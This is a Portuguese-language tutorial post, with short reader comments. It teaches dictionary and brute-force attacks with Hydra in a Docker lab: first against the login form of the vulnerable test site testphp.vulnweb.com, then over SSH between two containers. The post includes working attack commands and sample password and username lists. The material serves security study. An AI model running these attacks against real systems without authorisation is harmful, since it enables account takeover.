Neste post iremos entender como usar a ferramenta hydra para ataques de força bruta e de dicionário através de um site ou de um computador para outro. Podemos entender por definição:
Um ataque de dicionário é um ataque às senhas que usa palavras ou frases comuns encontradas em dicionários para comprometer credenciais de usuários. Caso seja uma pessoa que usa palavras do dicionário ou frases comuns como senha, você corre o risco de ser vítima de um ataque de dicionário. Fonte: Keeper Security
Brute Force é um ataque “Hacker” usado para tentar descobrir a combinação certa de uma senha, tentando várias combinações diferentes. O ataque pode ser feito de forma manual, colocando as senhas uma por vez até que a verdadeira seja encontrada. Fonte: Brasil Cloud
Para realizar os ataques utilizaremos um ambiente controlado usando containers docker. Para você que é leigo com docker digamos que os dockers podem ser usados como máquinas virtuais mas de uma forma mais simples e leve, como se criar uma máquina vitual fosse como preparar uma lasanha do zero e o docker fosse uma lasanha pronta para esquentar no microondas. Ao invés de gastarmos tempo preparando os ingredientes basta pegar uma imagem pronta (seu sabor de lasanha favorito) e a partir dela preparar o seu almoço (container docker).
A imagem que vamos usar é a cancitoo/kali-linux-ssh-hydra basta ir na sua maquina e digitar o comando abaixo (é preciso ter o docker instalado na sua máquina):
docker pull cancitoo/kali-linux-ssh-hydra
A aqui já temos o necessário para relizar nosso laboratório.
Usando ataque de dicionário em um site
Para esse ataque iremos criar a nossa primeira máquina, aqui no exemplo usaremos o seguinte comando:
docker run --name pc01 -p 6050:22 -i -t cancitoo/kali-linux-ssh-hydra bash
Nesse comando criamos um container chamdo pc01
e sua porta 22 será a 6050 da máquina real, ele também já abre nossa máquina no terminal como um bash. A partir daqui já usando no terminal a nossa máquina pc01
. Caso no futuro você queira acessa novamente a pc01
basta digitar o comando abaixo:
#para executar um container ja aberto
docker exec -it pc01 /bin/bash
Pronto! Nossa máquina já está pronta para fazer o ataque! Nesse caso, vamos usar atacar o site http://testphp.vulnweb.com/login.php
com o comando abaixo:
hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -p 0000 -t 10
Aqui podemos observar que o hydra faz o ataque via uma requisição http inserindo os valores de user com a flag -l
e senha -P
de forma respectiva nos parametros USER
e PASS
dentro endereço usado. O ataque deu errado pois a senha do comando acima 0000
não é a correta. Agora vamos montar em pc01
nosso próprio dicionário. Digite o comando abaixo:
nano /tmp/pass.txt
vai aparece o editor nano, coloque nele uma lista de possíveis senhas:
0000
1234
4321
3434
4545
teste
nome
nada
Agora vamos rodar novamente o comando mas desta vez com a flag de password em maiusculo usando nosso novo arquivo /tmp/pass.txt
:
hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -P /tmp/pass.txt -t 10
Desta vez o docker irá rodar todo o arquivo /tmp/pass.txt
procurando a senha correta. Assim ocorre o ataque de força brutaa. Dest vez vai dar certo o ataque pois a senha correta teste
consta no nosso dicionário.
atacando uma maquina para a outra via ssh
Agora vamos criar uma nova máquina pc02
semelhante ao que fizemos com p01
:
docker run --name pc02 -p 6051:22 -i -t cancitoo/kali-linux-ssh-hydra bash
#para executar um container ja aberto
docker exec -it pc02 /bin/bash
Repare que dessa vez a porta 22 é a 6051 da maquina real. Vamos adicionar uma camada de segurança em pc02
. Por padrão o container não vem com senha, para configurar a senha de pc02
basta digitar o comando abaixo e seguir as instruções:
#para gerar uma senha pro root
passwd
Agora vamos configurar o ssh na máquina pc02
. Isso vai permitir conexão ssh de pc01
para pc02
:
#definir da chave de acesso remota
ssh-keygen -A
#iniciar o serviço SSH
service ssh start
Voltando para pc01
vamos adicionar senha criada em pc02
no nosso dicionário e criar um novo dicionário com logins:
# Atualizar dicionario com senha
nano /tmp/pass.txt
# criar lista de possíveis usuários
nano /tmp/users.txt
Aqui vai um exemplo para /tmp/users.txt
pedro
carlo
root
admin
Mas ainda falta saber qual o ip de pc02
, para isso vamos rodar esse comando em um terminal à parte:
abaixo:
docker inspect -f "{{ .NetworkSettings.IPAddress }}" pc02
Vamos fazer de conta que a respota veio 172.17.0.2
. Agora basta executar hydra na porta de ataque
hydra -L /tmp/users.txt -P /tmp/pass.txt 172.17.0.2 ssh
Top comments (3)
Parabéns pelo post, é sempre bom ver brs por aqui =)
valeuzão. Espero que esse ajude a galera que estuda segurança e está fugindo de maquinas virtuais XD
docker é vida kkkkk